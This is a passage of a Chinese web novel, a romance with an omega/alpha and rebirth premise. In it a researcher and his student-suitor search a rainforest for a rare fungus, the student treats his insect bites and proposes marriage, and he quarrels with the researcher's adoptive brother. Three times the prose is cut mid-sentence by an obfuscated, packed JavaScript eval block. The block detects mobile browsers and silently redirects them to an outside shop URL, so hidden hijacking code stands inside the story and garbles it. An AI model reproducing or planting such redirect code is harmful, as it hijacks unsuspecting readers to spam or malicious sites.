雨林里不方便生火做饭,所以他们机智地带了矿泉水、泡面和压缩饼干,找了片空旷的地方就开始动工。 雨林里又湿又热,很快就闷得人一身汗,谈决摘了帽子扇风,眼神却看着茂密的雨林。 宋锦出发时负责背热水,现在派上用场,干脆在地上摆摊烫泡面,原骁伸头过去一看,口味还挺多,红烧的,排骨的,泡椒的,酸菜的,香菇炖鸡的……口味应有尽有,等倒好开水,大家一拥而上开始抢自己喜欢的口味,宋锦拎着空水壶大叫:“酸菜!给我留碗酸菜!” 原骁趁乱抢了一碗泡椒和一碗排骨,端着泡面坐到谈决旁边:“来,排骨是你的。” “谢谢,”谈决接过泡面,又问向导:“请问还有多久能到?” 向导:“快了,二十分钟左右,过了沟就是了,不过东边这块有三四个水潭,相互之间离得远,一个个找今晚回不了民宿,吃完饭咱们估计就得分头行动。” 原骁点点头:“行,我待会分个组。” 特战班的学生都受过野外训练,会看地图辨别方向,也有一定的单兵作战能力,到时候两个学生带一个研究员,兵分四路去找,效率会高很多。 他转头,就看见谈决微微蹙起的眉头:“怎么了?是不是哪里不舒服?” 谈决回过神来:“……我心里没底,辉辉菌只在每年四到五月生长,这次错过就只能等明年。” 得不到样本,实验就做不了,又要影响进度。 “考察才刚开始,不用那么悲观,相信我们的运气。”原骁看他捧着碗不动,又从背包里拿出两根火腿肠,给谈决加了一根。 上辈子这个时间谈决也来过西南的雨林考察,但原骁没有。 或许是因为谈决和原骁的关系,当时在选拔考察队的时候,原骁并未被选中,甚至连宋锦都没有,他们两的空缺是由特战班的教官补上的。 他记得omega出发前两天把他叫到了婚房,接连两天都在上床,标记,第三天,omega带着满身的吻痕和红肿的腺体,一声不吭地去了西南雨林。 半个月后,谈决带回了关键的真菌样本,但小腿受了伤,肺部感染发炎,接下来半年都在咳嗽,还经常半夜无缘无故地惊醒。 也就是那次以后,谈决开始频繁吃抗抑郁的药。 现在想想,雨林之行其实也是谈决病情进展的一大原因,但究竟是为什么?中间发生了什么让谈决不高兴的事? 原骁一边想,一边用叉子搅着碗里的泡面,视野中却忽然出现一个alpha,越来越近,越来越清晰。 余文曜捧着泡面走到谈决身边,在看到谈决的排骨面后,忽然意味不明地笑了下。 “你不是不吃这个牌子的泡面吗?” 21. 抹药膏 不吃这个牌子的泡面? 原骁从未听谈决提过,也有些意外,下意识道:“你不吃这个?那要不要换别的?” 谈决看了眼余文曜,躲开了原骁来抢泡面的手:“吃,我不挑。” 他一直都不是挑剔的人,别人给什么吃什么,很好养活,除了原骁,这世上不会有第二个人觉得他金贵难伺候。 而且里面还有原骁给他加的火腿肠,怎么能说换就换。 余文曜当场被打脸,神色肉眼可见地不好看起来:“你不挑?” “‘不吃这个牌子的泡面是你亲口说的,难道我记错了?” 谈决终于有点烦了,他非常不喜欢在工作的时候谈私人情感扯裙带关系浪费时间。 谁知他还没说什么,原骁就先开口了:“不是吧朋友?他想吃什么吃什么,管那么宽干什么,你一直问烦不烦?” 余文曜:“我管的宽?我是在关心他!” 原骁掀了掀眼皮:“你真关心他就应该换桶新的端过来放他手里,而不是专门跑来问一句膈应人,alpha要少说多做才有魅力。” 余文曜觉得他为难人:“大家都是一个牌子,我哪有新的?” 原骁却笑了笑,反将一军:“你没有啊?我就有。” 他说完就开始掏背包,掏出两个小面包,一个苹果,一根火腿肠,还有一盒自热焗饭,用实际行动证明了什么叫少说多做。 “操!”余文曜终于绷不住了:“你神经病吧?” 周围都是队员,他不好和原骁起冲突,说完这句就端起泡面转头就走。 原骁早就看不惯他谈决这个弟弟了,他指了指自己的脑子,暗示:“你弟这里……这里没问题吧?” 谈决:“没有,他智力正常。” “那他怎么总对你这样?颐指气使的。”原骁想不通,正常兄弟哪儿会这样? 谈决摇摇头。 “那他为什么说你不喜欢这个牌子的泡面?” 这回谈决沉默了。 他用叉子搅着胀开的泡面,颜色金黄,尝了一口,味道刚刚好:“……因为余文曜小时候很喜欢吃这个。” 余文曜喜欢的,他就不能喜欢。 余家是典型的高知家庭,余父是三甲医院院长,余母是大学教授,余母身体不好,只生了余文曜一个孩子,当金疙瘩一样宠爱,从不让他沾垃圾食品。 但有段时间余文曜特别喜欢吃零食,尤其是泡面,有几次他偷偷在家吃完忘了收垃圾,余母都以为是谈决嘴馋吃的。 谈决现在都还记得余母在餐桌上的话,她穿着围裙,头发乌黑,笑着把牛排递到九岁的谈决面前,温声细语地和谈决商量:“小决啊,阿姨知道你最近长身体不经饿,但你不要把那些不健康的习惯带到家里来,这样容易带坏小曜。” 她指了指垃圾桶里的泡面袋,语气温柔,但小小的谈决看着她的眼睛,又看看点头认同的余父和默不作声的余文曜,顿时就失去了解释的力气。 他点点头:“对不起阿姨,我下次不会了。” 后来他们长大了,家里也放开了对垃圾食品的管制,余文曜可以光明正大地在家吃泡面,甚至邀请了余父余母加入,但谈决一次都没吃过。 他每次都说:“我不吃这个牌子的泡面。” 因为余文曜每次都只会买这个牌子的泡面,他只有不断说自己不吃,才能证明自己没有把不好的习惯带回家,没有带坏余文曜。 他不是不喜欢吃,只是不敢在家吃。 原骁静静听着,偶尔扒一口泡面,听见“带坏余文曜”时终于忍不住了:“什么叫带坏?你只比他大半岁,难道要给他当爹当妈?” 谈决摇摇头,没再说什么,只认真戳起一节火腿肠。 他很少和别人说自己家里的事,因为他五岁就被余家收养,余父余母照顾他吃穿,供他上学,给他介绍研究所的资源,他很知足,不想抱怨什么。 所以他上大学后就自给自足,不再问家里要钱,工作后逢年过节也会给养父养母和弟弟发红包。 这两年余文曜上了大学,余父余母经常打电话关心他,让他有时间多回家看看,一家人团团圆圆才好。 可他不想回家,他只想一个人,平平静静地生活。 但余文曜的出现真的勾起了太多不好的回忆,原骁问起时,他才愿意从深藏的过往中扣出一点点故事分享给对方。 他不知道原骁会不会懂,但alpha显然比他懂得多:“这也太偏心了吧?” 谈决一愣。 偏心?这叫偏心吗?可他本来就是余家收养的孩子,将心比心,他们对余文曜更好也是理所应当。 原骁匪夷所思:“你养父养母到底会不会养孩子啊?” 谈决想了想:“应该挺擅长吧。” 毕竟他们的两个孩子都获得了世俗意义上的优秀,亲生的孩子马上要保研U大,收养的孩子已经是研究所核心项目的负责人。 “屁,”原骁难得说了句脏话:“真会养会连你生病住院都不知道?还把余文曜养成这样。” 原越庭一个丧偶的alpha也没把三个孩子养到这个地步。 原骁越想越气:“养什么孩子,0分!” 谈决停下吃饭的动作,转头去看alpha,他们坐得远,聊天声音不大,所以其他人听不到,但原骁皱着眉,真心实意为他生气。 这种被人维护,所有情绪都被人托住的感觉很奇妙,谈决既觉得温暖,又觉得哪里酸酸的,他不知道该回应什么,只能小声说了句“谢谢”。 他们没多少时间聊天,吃完饭收拾好东西,就得继续干正事找辉辉菌,下午四点前到吃饭的地点集合。 原骁和谈决要各自带队,不能同行,原骁还特意把宋锦和余文曜分到一个小组,让他路上盯着点对方。 整理好行囊和装备,小队就兵分四路往雨林更深处去,抵达负责区域后,原骁带着小队在水潭附近地毯式搜索了好几个小时,找了一圈,期间发现了四只蜘蛛、三条蛇、两只蜈蚣、一只蜥蜴、一只马陆,还有水潭里超大肥美野生鱼,就是没发现辉辉菌。 原骁没办法,只能苦中作乐,带着队员们抓了几只大肥鱼,等回到集合点,才发现四支队伍都空手而归了。 谈决一开始是最担心的,现在反而开始安慰队员,给大家打定心剂:“没关系,现在才第一天,就当熟悉环境,而且这边算外围,水体多多少少会被污染,辉辉菌对环境要求很高,找不到也正常。” 向导也附和着宽慰了几句,大家顿时没了想法,看见原骁的小队拎着的大肥鱼,那点不高兴很快就转变成对美食的渴望,一路说说笑笑地出雨林。 今晚没人晕车,原骁也不用辛苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185196|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下厨,他们把抓回来的鱼给民宿老板处理,做了当地挺有名的一道酸汤鱼,徒步一整天,大家都有些疲惫,吃完饭就各自回房间休息。 原骁和谈决还要和向导确认明天的路线,所以熬得晚了些,做笔记的时候他忽然看见谈决后颈和胳膊都起了好大一片红疹。 雨林气候湿热,蚊虫又多,很多都带细菌和病毒,一点都不能马虎,他们出发前就再三强调叮嘱过。 谁知道谈决细皮嫩肉,免疫力又不好,第一天就不慎倒霉中招了。 好在原骁出发前做了功课带了满满一大箱药,队伍里还有三个学医的,送走向导后他先回房间洗了个澡,又从背包里翻箱倒柜翻出药膏,在群里请教。 宋锦看见他发的消息,难得关心他:“你被咬了?” 原骁头也不抬:“不是我,是谈决。” “我出去一趟,”说完就拿着药出了门。 不用想都知道是去找谈决。 宋锦已经快习惯了自己兄弟其实是个恋爱脑的事实,自从原骁开始追谈决以后,自己打游戏双排都快找不到人了,他躺在床上,看着被关上的房门,惆怅地叹气。 谈决刚洗完澡,就看见原骁在群里的消息,正打算私聊关心一下,alpha就敲响了他的门:“谈老师,我来找你商量下明天进林的路线。” 路线不是刚商量完吗?难道又有新的变动? 谈决狐疑地打开门:“……进来吧。” 他说完这一句,alpha就迫不及待地钻了进来,还鬼鬼祟祟地锁了门。 房间不怎么隔音,见他这个样子,谈决还以为出了什么事,下意识压低声音:“……怎么了?” 原骁从口袋里掏出两管药膏,和一瓶花露水:“没怎么,我上来给你送药。” 他指了指谈决后颈那一片红,因为刚刚洗过澡,现在更红了,还带着轻微的痛痒。 谈决这才意识到alpha根本没被咬,在群里问那么多其实是为了自己:“……我有药。” 原骁却仿佛看透了他的想法:“那也得你愿意抹才行吧?” 谈决其实不爱吃药,更不爱抹药膏,因为觉得药膏味道重,抹了晚上就睡不着,所以不是特别严重就不抹。 以前夏天的时候,谈决一被蚊子咬就红一片,有时候原骁看见了会给他抹药膏,他总是推三阻四不乐意,找借口逃避,被按着抹完了,晚上就睡不着,在被子里翻来覆去。 有时候原骁会抱紧对方,不让他乱动,有时候干脆翻身把人压住,恶狠狠地标记一顿,等谈决累了就没力气在意那点药膏味。 但这些都是谈决上辈子小习惯,这辈子他从来没和原骁说过,他不知道alpha为什么那么笃定,下意识反驳:“谁说我不愿意抹药?” 原骁眉头舒展,做出一副恍然大悟的表情:“原来你愿意啊。” 他顺势拧开药膏递过去,一股刺鼻的药味就冲了出来:“那就抹吧。” 谈决:“……” alpha好像知道怎么挟制自己,他没说话,又因为身高差距,只能仰头看着原骁,眉头微微蹙着,有些轻微的恼怒,又不想被看出来。 有点可爱,原骁一边和谈决对视,一边在心里说。 但这种事情上原骁不可能退让,他反而要得寸进尺,更进一步。 “要我帮你抹吗?” 22. 贴近 “……你帮我?”谈决显然没想到原骁会为了让他抹药主动到这种程度,毕竟对方去他家也只是做个饭就走,最多再拥抱一下,边界感清晰得惊人。 原骁点点头:“嗯,只抹药,不做别的。” 谈决沉默了一下,虽然没有直接同意,却慢慢转过了身,把后颈露了出来。 无论是alpha还是omega,对着异性露出后颈腺体都是危险的,甚至会被视为不检点,原骁本来是担心谈决不同意,所以才刻意强调了一句“不做别的”,但对方什么都没追问,只是默默露出后颈,这种莫名的信任让原骁受宠若惊,又无声无息地满足了alpha的占有欲。 原骁看了一眼房间:“站着不方便,你坐下来吧。” 民宿的房间简陋,只有一套低矮的桌椅,很不方便,最后谈决只能坐到床上。 原骁弯下腰,把药膏涂在手指上:“有点凉,你忍一下。” 谈决“嗯”了一声。 他穿着睡衣,微微低头,原骁就更能看清他的瘦弱,omega肤色冷白,衣服穿在身上也空荡荡的,几乎能透光看清他衣服里的身形。 然而谈决生得很漂亮,是那种超越胖瘦黑白的漂亮,越瘦弱就越显得清冷倔强,越到绝境目光就越明亮坚定,像在以健康为燃料让灵魂发光,让人下意识想靠近,占有,再折断。 原骁盯着他后颈微微凸起的骨头看了一会儿,这才把药抹上去:“比我上次在医院见你还瘦,谈老师最近肯定没有好好吃饭,也没有好好睡觉。” 原骁猜得一点没错,谈决确实没好好吃饭,尤其是和余叔叔打完电话后,他的食欲就会被抽走,甚至看见食物就会胸闷干呕,想到alpha前段时间叮嘱过自己要好好吃饭,谈决总觉得有点心虚,只能无力地解释:“最近太忙了……” 温热的指腹贴着皮肤,一点一点涂抹,皮肤有一点轻微的痒意,但很快就是冰冰凉凉一片,谈决有些不适应地往前倾了倾身体,却被alpha按住肩膀:“别动。” 原骁按住人,继续刚才的话题:“老师总是用这句话来搪塞我,你到底有哪天不忙?” 谈决转头一想,好像还真是,他是0218的负责人,也是整个项目里加班最多的人,有时候周末其他人都在家休息,他还要在实验室,每天都很忙。 但再忙也不能透支身体,身体垮了就全完了,更何况谈决现在已经开始偷偷吃药了,谈决的健康是原骁的底线。 alpha一用这种委屈控诉的语气说话,谈决就有点招架不住,身体是他自己的,但他总觉得自己亏欠了原骁什么一样,思来想去他还是认真道:“……我以后会多注意的。” “我不要以后,”后颈的触感一空,眼神一暗又一明,alpha忽然转了个方向蹲下,就蹲在谈决的床边:“谁知道你说的以后是什么时候?要改就从现在开始行动。” 谈决坐在床上,居高临下和原骁对视,他已经摸清了一点alpha的脾气,遇到可大可小的事对方喜欢得寸进尺,比如深夜骑着电动车跑到自己家做饭,不由分说就要给自己涂药膏之类;但遇到棘手的、难办的事他就会示弱,比如现在,谈决都要幻视蹲在自己床边的是只阳光大金毛:“好吗谈老师?” 谈决是那种说一不二的人,做不到的事就不会答应,答应过的事死也要做到,但是以他的状态,想改变饮食好好吃饭确实有点难度,不是一朝一夕就能完成的,他几次三番想说实话,但对着alpha期盼的脸,又说不出拒绝的话,只能模棱两可地回应:“……我尽量。” 原骁知道他不随便糊弄人,既然说了尽量就一定会尽量,他满意了,重新站起来抹药膏:“这可是你说的。” 谈决点点头:“嗯,我说的。” 原骁认认真真,一点一点把药膏抹匀,又给谈决出主意:“其实你要是想好好吃饭,我还有一个办法。” 谈决:“什么办法?” “找一个会做饭还爱你的alpha结婚,这样他就可以每天监督你吃饭睡觉。” 至于找谁自然不言而喻。 谈决果然听懂了他的暗示,或者说不是暗示,原骁早就提过很多次结婚的事,只是他分不清对方是真心还是玩笑,所以一直没放在心上。 现在他们离得这么近,身边也没有其他人,这些话显然就是说给谈决听的,但他不知道该不该回应,只能委婉道:“会做饭的alpha好像很少。” 原骁看穿了对方回避的意图,毫不犹豫地打断:“那我呢?你觉得我怎么样?” omega沉默下来,就在原骁以为他已经不打算回应的时候,谈决毫无预兆地转过脸,仰视他:“那你爱我吗?” 这是一个相当直白且尖锐的问题,以谈决的性格似乎再过一百年也不会问出口,但他确实这么问了。 谈决的眼瞳是纯黑色,睫毛很长,在光下眼神微微发亮,很漂亮,但却很难看清。 原骁以前一直觉得这种难以看清是源于谈决的高智商,因为对方太聪明,正常人跟不上对方的脑电波,所以他时常看不清谈决在想什么,然而此时此刻他忽然觉得好像不是那么回事,他微微一愣,却没有回避问题,只是注视着对方的眼神,认真道:“嗯,我爱你。” 我爱了你两辈子,却等到现在才能说出口。 两个人都不约而同地怔住了。 这句爱太遥远,也太沉重,原骁心底忽然升起一阵难言的酸楚,像是圆满,又像是释然,他们的爱好像永远都在错峰,最后淹没在一条注定要悲剧的河流中,他只有靠命运的垂怜,才能把这句爱递到谈决身边。 可即便他的爱已经惊涛骇浪,也更改不了这辈子他们才认识不到一个月的事实,他的爱太厚,也太薄,他不知道谈决能听懂多少。 “我很爱你,谈决。” 他又说了一遍,祈祷omega能明白自己的真心。 而谈决像一口渴水的枯井,他潜意识好像已经等了这句话很久很久,久到脱离了时间和空间的限制,原骁只是在说爱,他就毫无预兆被填满。 他第一次意识到自己给原骁设限这么低,只需要一句爱,不管是真心还是假意,是怀有目的接近还是见色起意,只要这一句爱,他就能背离这么多年的克制的内心,想不管不顾和对方结成伴侣,走入婚姻。 他越意识到自己对alpha的纵容,就越能体会到深陷其中不能自拔的绝望。 于是他站起来,偏头打量着alpha的神态,想从对方脸上看出这句话是真是假:“你要想好了,和我结婚,你就没机会再找别人。” 原骁摇摇头:“我不找。” 谈决想起alpha易感期那个暧昧又朦胧的通话:“我的身份特殊,为了保护人身安全,我可能会给你戴上管教项圈。” 原骁上辈子也戴过管教项圈,上面有电极片,遥控器在谈决手上,omega只要不高兴,随时可以像管教疯狗一样管教他,但谈决至死都没有按过电击按钮,最多就是在床上拽两下他的项圈。 原骁上前两步,真心实意道:“……我想要。” 没有项圈,他没有安全感。 谈决审视的神情终于有了片刻空白,他看着alpha期待的神色,他皱着眉思索了一会儿,困惑道:“……你喜欢别人给你戴项圈?” 据他所知,alpha一般都会抗拒管教项圈,他们攻击性和占有欲极强,宁愿走极端也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185197|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯将尊严交给别人掌控。 原骁不会是有什么奇怪的癖好吧? 原骁当然不喜欢戴项圈,但那个人如果是谈决就没关系,他上前一步把脸埋在omega肩窝里,委屈道:“……我想要你给我戴。” 话都说到这份上了,他想结婚的意图比任何人都明确,谈决张了张嘴,居然问不出更刁钻的话,只能任alpha埋在自己身上。 他的理智在点头同意和摇头拒绝两个选项不停来回,只觉得这辈子没做过这么艰难的决定,偏偏原骁还要得寸进尺:“和我结婚吧谈决。” alpha抱着他说话,呼吸喷洒在他颈侧:“……我太想要项圈了。” “我……”谈决某一瞬甚至共情了古代为情乱智的昏君,几乎要不管不顾点头同意,下一刻,桌上的手机却忽然响了。 他下意识去拿手机,然而在看见来电备注上的“余叔叔”三个字时,脸色微微一变,浑身血液都凉了下去,理智也瞬间回笼。 “稍等。”他留下这一句,然后推开了alpha去接电话。 临门一脚却被打断,原骁难免有些挫败,谈决已经退远,怀里却犹带余温,他捏着药膏坐在床上,百无聊赖地给自己手背涂了点药膏,却忽然听谈决在电话里叫人:“余叔叔。” “嗯,您找我有事吗?” “他的表现吗……暂时没什么问题,好,我会照顾他。” 即便看不见电话对面的人,谈决仍是下意识挺直肩背,这代表他过度紧张甚至焦虑,这根本不是和家人交流的正常状态。 谈决话不多,基本全程都在点头说“嗯”,偶尔回应一两个字,这通电话来的快去的也快,五分钟不到就挂了。 挂了电话,谈决又露出了那种疲惫的神态,他微微皱起眉,把手机放回桌上,沉默了很久才开口:“刚刚的事,我想再考虑一下。” “你继续涂药吧。” 他转身背对着alpha,又变成了那个克制的谈决,于是原骁知道他还没想好,没再逼他:“好。” 后颈和肩背已经有点过敏了,涂完药膏更明显,又红又肿一大片,谈决有些累了,全程一声不吭,怕药膏蹭到被子上,还不能马上躺下。 原骁看他眉眼疲惫,不动声色地放出一点安抚信息素,小心翼翼涂完后颈,又涂手臂,正想问问其他地方还有没有疹子,身上却一重,是谈决靠了过来。 在向日葵信息素的包裹下,omega睡着了。 谈决的睡眠一直很差,如果秒睡,那一定是精神紧绷到了极点。 原骁抱着人没说话,等到药膏风干得差不多才把谈决抱上床,继续检查对方脚上有没有被咬,做完这一切,他又给对方盖好被子准备回自己房间。 然而他转身一走,才刚到门口,omega就毫无预兆地翻了个身,从背对原骁变成了正对原骁,眉头轻轻蹙着。 原骁意识到什么,又折了回去,他在床边慢慢蹲下,悄悄放出安抚信息素,没过多久,谈决的眉头果然舒展开。 谈决在追他的信息素。 无论是前世还是今生,他们之间永恒不变的永远都是互相之间独一无二的高匹配度,只要一点点安抚信息素,谈决就能迅速放松入眠,但也只有在睡梦中,谈决才会下意识挽留他。 意识到这个真相,原骁不知道该欣慰还是心疼,他在床边静默许久,最后终于做出了决定。 原骁掀开被子,躺上了床。 他在被子里抱紧谈决,熟睡的omega感觉到温暖,微微侧身贴过来,把脸埋在他怀里,是全然亲近的姿态。 原骁终于忍不住,低头吻了吻omega的额头。 “晚安,谈决。” 23. 偷情 谈决难得没有做梦,这一觉睡得异常安稳。 早上五点,原骁准时醒了,他和谈决现在还是师生兼队友关系,要是被人发现睡一间房会很难办,所以他要趁大家没醒之前回房间。 怀里暖融融的,谈决侧身躺在他怀里,眼下的乌青淡了很多,显然是睡了个好觉。 原骁盯着他看了一会儿,没忍住伸手拨了拨omega小扇子一样睫毛,谁知道他这一手欠,谈决的睫毛抖了抖,紧接着就毫无预兆地睁开眼。 谈决:“……” 原骁:“……” 四目相对,原骁只想抽自己一巴掌,立马滑跪:“对不起,吵醒你了。” 听见声音,谈决迟钝地眨了下眼睛,终于回过神来,感觉到两人紧密相贴的姿势,他脑中空白一瞬,动作比大脑反应更快。 原骁毫无防备,下一刻只觉得腰腹一痛,连人带被子滚下了床。 “扑通——”,地板传来一声闷响,谈决惊疑不定地坐起来,虽然极力保持镇定,但瞪大的眼睛还是出卖了他内心的不平静:“……你为什么在我床上?” 谈决这一脚根本没收敛,原骁感觉尾椎骨都要断了,他抱了谈决一晚上,信息素就没停过,腺体都快瘪了,结果刚睁眼就被踢下床。 他坐在地板上,有些委屈:“你昨晚累得睡着了,我看你好像有点喜欢我的信息素,所以才没走的。” 谈决一愣,终于意识到昨晚睡那么安稳的原因,他老早就发现原骁的信息素对自己很有安抚效果,他们之间显然有着超高的匹配度。 但他从来没有和别的alpha在一张床上躺过,心里七上八下,忍不住确认:“……你没做别的?” 原骁感觉自己受到了侮辱:“在你心里我就是这么喜欢趁人之危的alpha吗?” 谈决没说话,只是垂目看着他,冷静开口:“可你刚刚顶到我了。” 原骁下意识低头,紧接着就陷入沉默:“……” 小原骁背叛了大原骁,现在精神抖擞得不像话。 怪不得谈决要把他踹下床。 他此地无银三百两地用被子遮了下反应,脸也红了,小声道:“对不起嘛谈老师。” alpha一脸红,谈决反而镇定下来:“没关系,你还年轻,这是正常反应,我也会有的。” 原骁没说话,只抱着被子在地上自闭。 他现在相信原骁昨晚什么都没做了,工作原因,他接触过很多所谓的“上流”和“高层”,知道圈子里那些纨绔二世祖什么德行。 又因为长相,谈决没少被这群人递过“橄榄枝”,明里暗里想包养他,但像原骁这么纯情的确实挺少见,自己这一踹确实有点打击人:“是我误会了,昨晚谢谢你安抚我。” 原骁:“不用谢,这是应该的。” 上辈子这个时候他早就安抚过谈决很多次了,这辈子都算晚了。 他坐在地板上,静静等反应消退,然而谈决越盯着他看他越难冷静,诡异的沉默之后,两个人同时开口了。 “借你的卫生间一用。” “要我帮你吗?” 话一开口,两个人一起愣住了。 谈决最先点头:“好,你用吧。” 原骁在意的却是别的:“帮我?怎么帮?” 谈决受不了他炽热的眼神,慢慢移开目光,语气却很平静:“我是生理课老师,当然也知道怎么抚慰alpha。” 实话实说,原骁有点心动。 虽然谈决平常看着像性冷淡,但上了床却意外很主动,甚至很强势,刚结婚的那段时间,原骁虽然心里不爽,但身体没一次不爽的。 但是现在是早上五点多,天马上就亮了,隔壁还住着那么多队员,他想也要忍着。 他和谈决商量:“今天时机不合适,能不能先欠着,下次再补?” 谈决:“……” 他居然还想下次再补。 alpha就这样一边脸红一边得寸进尺,偏偏谈决还拿对方没办法:“行。” 原骁把被子放回床上:“那你接着睡,我去洗把脸冷静下。” 他在卫生间站了十分钟,等反应退了才出来,就看见谈决抱着被子坐在床上,他走过去,看见对方脖颈处的红肿已经退了三分之二,心中欣慰:“七点半才集合,你睡个回笼觉吧,我现在偷偷下去没人发现。” 说得像在偷情一样,谈决看他一眼,没反对:“嗯。” 谈决的头发已经有点长了,刚睡醒有点乱,把这人身上那种和年龄不符的稳重打乱了些,显得有点可爱。 原骁没忍住,俯下身亲了亲谈决的耳朵,惹得omega浑身都僵住:“我走了。” 谈决面不改色:“嗯。” 原骁能感觉到从昨晚之后两个人的关系就有了实质性的进展,但具体进展在哪儿又说不清楚,但谈决不抗拒他的亲近,还说要考虑结婚的事,原骁就已经心满意足了。 其他的再慢慢来,反正他有的是时间和耐心。 这么想着,原骁心情也好了不少,唇角微微勾起,出了房间,轻手轻脚地关上门,正打算悄无声息地下楼,转头却和走廊上的人四目相对。 余文曜显然是来找谈决的,只是刚出门就对上了原骁,他看看alpha,又看看对方锁门的动作,顿时什么都明白了。 早上五点从他哥房间里出来,总不可能是原骁四点突然睁眼,心血来潮上楼找谈决聊天,唯一的可能是对方昨晚一直都睡在谈决房间。 可凭什么? 谈决从小到大只知道学习,像个书呆子,从对方被收养到上大学,一言一行都在他们眼皮子底下,现在居然背着家里人恋爱,连婚都没有结就留alpha在房间里过夜? 他们余家把谈决培养到了本不该属于他的高度,结果对方上了大学有了能力就开始和家里人疏远。现在谈决发达了,翅膀硬了,才二十二岁成就已经快超过辛苦经营一辈子的余父,马上就要变成余家高攀不起的样子,结果他转头就冷落托举他成功的人,这不是白眼狼是什么? 余文曜今天起了个大早,原本打算和谈决好好谈一谈,然而看见原骁从谈决房间里出来,不满的情绪终于到了顶峰。 他刚要开口,原骁就比了个手势,示意他下楼谈,余文曜只能闭嘴,两个人下了楼,看见餐厅的灯亮着,民宿老板已经开始准备早点。 他们找了个无人的角落,余文曜终于忍不住开口:“……你为什么会在我哥的房间?你和他到底什么关系?” 又是这种问题,原骁不知道对方为什么对谈决的私生活这么有占有欲:“关你什么事?” 说完他又打断了要反驳的余文曜:“你别告诉我因为你们是家人,你三番五次介入你哥的私生活只是出于关心,我们一般不把低情商当做关心。” 原骁上面有一个哥一个姐,他可从来没管过他们的感情生活。 余文曜:“你们可是师生关系,队伍里那么多同事同学,这种时候总知道避嫌吧?在工作的时候搞这些乱七八糟的是什么意思?” “乱七八糟?”原骁没忍住笑了,他才不上当:“你和谈决也不是亲兄弟,都这么大了总知道避嫌吧?你天还没亮就来找你哥是什么意思?” “你胡说什么!”余文曜没想到谈决连家事都告诉了原骁:“别以为所有人都和你们一样思想龌龊,你给我嘴巴放干净点!” 原骁终于正了正神色:“那你也给我嘴巴放干净点。” 他比余文曜小两岁,但比对方高多了,冷脸的时候很有压迫感:“听好了,你是我的队员,我会一视同仁为你的安全负责,也不会因为这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185198|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两次摩擦就刻意针对你。” “但我丑话说在前,你要是一直这样没事找事,把个人情绪带到工作里,甚至借着自己和谈决的关系不停干扰他,影响他的情绪,那我绝对饶不了你。” 他花了几千万把许眠救回来,易感期也要骑着电动车吹着冷风给谈决做饭,每天小心翼翼捧着护着,是想看他健健康康长命百岁,不是给别人欺负的。 余文曜浑身一震,后知后觉自己被警告了,同为alpha,他脸色很快就不好起来,恼羞成怒道:“当个队长而已,还摆上官威了,你以为你是谁?一个大二生也敢对着我指手画脚?” 原骁懒得和他掰扯这些,只摊开手:“随你怎么想,反正我的意思已经很明白了。” 余文曜嗤笑一声,讽刺道:“如果不是我哥,你能有机会来考察?狐假虎威真是给你玩明白了。” 原骁挑了挑眉,总觉得余文曜在自己说自己:“原话奉送给你。” 他说完就再不管对方,转头回了自己的房间,宋锦本来睡得正香,迷迷糊糊听见原骁开门进屋,又烦躁地翻了个身,闷着头睡了过去。 接下来几天,他们按照原先规划好的路线,由近及远,分区域深入雨林,然而接连五天,他们都没有找到辉辉菌的下落。 近处没有,他们只能计划着往雨林更深处探索,但这意味着他们无法当天出发当天回,他们和向导规划好路线,又在民宿休息了一天恢复体力,整理好行装决定第七天进林。 然而当天原骁穿好衣服推开门时,一股冷风却毫无预兆地灌进了衣服,没多久,门外就下起了大雨。 受冷空气和暖湿气流影响,雨林突然降雨,预计要持续一天一夜。 这种天气是绝对无法进雨林的,他们的行程又被搁置,谈决沉默的时间也越来越长,队伍里已经有omega因为水土不服发烧腹泻个没完,研究所也在等他回去把关。 不过他不会把焦虑的情绪带给其他人,只会在安慰完队员后默默地回房间工作。 原骁没那么多工作,下雨天他就完全闲下来了,他看着谈决心不在焉的模样,就知道他不高兴,想了想,还是带着宋锦到村子里转了一圈,买了两大只沉甸甸的公鸡回来,准备给大家熬点汤养养胃。 于是谈决从房间里出来,就看见几个alpha追着两只公鸡满院子跑。 宋锦声音最大:“堵住堵住堵住——诶它钻过去了!原骁你到底能不能行了?” 原骁也追得手忙脚乱,闻言彻底怒了:“你还好意思说?鸡是你绑的,你还保证不会跑,废物!” 宋锦不好意思地挠挠头:“我没经验嘛,谁知道活鸡力气这么大。” 其他人见状也纷纷加入,于是就出现了一群年轻人追着两只惊恐尖叫的公鸡满院乱的画面,谈决在楼上看了半天,莫名有些好笑,也下了楼。 